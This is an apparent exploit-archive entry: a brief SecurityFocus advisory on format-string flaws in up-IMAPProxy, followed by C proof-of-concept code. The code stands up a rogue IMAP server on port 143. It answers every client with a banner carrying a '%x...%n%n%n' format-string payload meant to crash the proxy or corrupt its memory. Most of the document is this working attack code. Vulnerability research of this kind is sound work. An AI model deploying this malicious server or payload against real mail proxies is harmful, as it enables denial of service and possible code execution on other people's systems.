49 lines
No EOL
1.2 KiB
C
49 lines
No EOL
1.2 KiB
C
source: http://www.securityfocus.com/bid/15048/info
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up-IMAPProxy is reported prone to multiple unspecified remote format-string vulnerabilities.
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Successful exploitation could cause the application to crash or to execute arbitrary code in the context of the application.
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Specific details of these issues are not currently known. This BID will be updated when further information becomes available.
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#include <stdio.h>
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#include <string.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netdb.h>
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#include <arpa/inet.h>
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#include <unistd.h>
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#define BANNER "AAAAAAAAAA%x%x%x%x%x%n%n%n\r\n\r\n"
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int main ( int argc, char *argv[] )
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{
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struct sockaddr_in addr, cl_addr;
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int sock, cl_sock, addr_size;
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char *Iaddr;
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socklen_t l;
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printf("Imapproxy <= 1.2.4 PoC Exploit\n");
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sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
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addr.sin_family = AF_INET;
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addr.sin_port = htons(143);
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addr.sin_addr.s_addr = inet_addr("127.0.0.1");
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bind(sock, (struct sockaddr*)&addr, sizeof(addr));
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listen(sock, 5);
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addr_size = sizeof(addr);
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while (1)
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{
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cl_sock = accept(sock, (struct sockaddr*)&cl_addr, &l);
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Iaddr = inet_ntoa(cl_addr.sin_addr);
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send(cl_sock, BANNER, strlen(BANNER), 0);
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printf("IP: %s\n", Iaddr);
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}
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return 0;
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} |